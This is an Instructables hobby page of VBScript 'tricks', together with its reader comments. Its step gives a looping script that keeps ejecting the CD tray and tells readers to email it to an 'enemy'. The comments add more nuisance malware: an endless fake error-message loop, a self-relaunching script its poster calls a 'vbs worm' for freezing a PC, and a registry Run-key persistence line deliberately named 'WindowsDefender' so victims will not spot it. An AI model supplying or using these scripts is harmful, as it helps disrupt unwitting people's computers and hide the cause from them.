3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

visual basic scripting tricks (2)

visual basic scripting tricks (2)
visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions
 
Remove these adsRemove these ads by Signing Up
 

Step 1Continous disk opener

continous disk opener
this will be a continuous disk opener, open notepad and write:
do

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

loop

save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha
« Previous StepDownload PDFView All StepsNext Step »
18 comments
Mar 27, 2009. 9:19 AMstealth4 says:
lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb
Apr 11, 2010. 12:10 PMmaxoomen says:
 it stops when you restart :)
Oct 6, 2010. 5:31 PMmichaelb958 says:
Or kill the wscript process, using Task Manager or a shortcut to taskkill.exe.
Apr 5, 2010. 6:49 AMUBERBANKAI says:
You could just type

do
lol=msgbox("Critical Error",16,"ERROR")
loop

for a continuous error message
Feb 19, 2010. 8:11 AMn1cod3mus says:
Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")
moo1=Wscript.ScriptFullName

'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
---------------

adds it to the registry for start up
Dec 27, 2009. 8:15 PMkei10 says:
Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.
Feb 19, 2010. 8:08 AMn1cod3mus says:
Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")
moo1=Wscript.ScriptFullName

WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
----------------------------------

the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry
Oct 27, 2009. 1:46 PMRadobot says:
How to froze pc:

Set x = CreateObject(Wscript.Shell)
x.Run C:\WINDOWS\forzing.vbs
For i = 1 To 3
i = 2
Next

Just save it to C:\WINDOWS and name it 'forzing.vbs'
It is a vbs worm! 
Feb 10, 2010. 6:53 PMGeekBeam says:
lol i had to hold dowwn the power button to make it stop
Apr 15, 2009. 11:27 AMzetsway says:
I ran the script on my own PC. I couldn't stop laughing :)
Jul 3, 2009. 7:13 AMColonel88 says:
Oy, you kin make something more useful, like a web browser, or a autoloading virus thingy. This is a BIT simple, but nice job.
Jun 28, 2009. 6:11 AMBatchMan says:
will this work:

sub pwn()
lol = msgbox ("Critical error!" ,16, "ERROR")
pwn()
end sub
pwn()
Mar 27, 2009. 9:06 PMcomputerfaker3 says:
add "Do" to the top and "Loop" to the bottom, it will keep repeating until you shut down your computer or go to task manager - processes - and end proccess "wscript.exe"
Jun 22, 2008. 11:52 AMI3uckwheat says:
your right meeze it is a copy! duh it is
Aug 31, 2008. 12:54 PMrandom green dude says:
this is so plagerised
Feb 17, 2008. 2:49 PMDavidRobertson says:
Wonder where you got that code from... Hmm look at my instructablehere
Dec 11, 2007. 3:26 PMGorillazMiko says:
cool i liked that picture where is said ERROR

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
3
Followers
7
Author:thefirstgaruga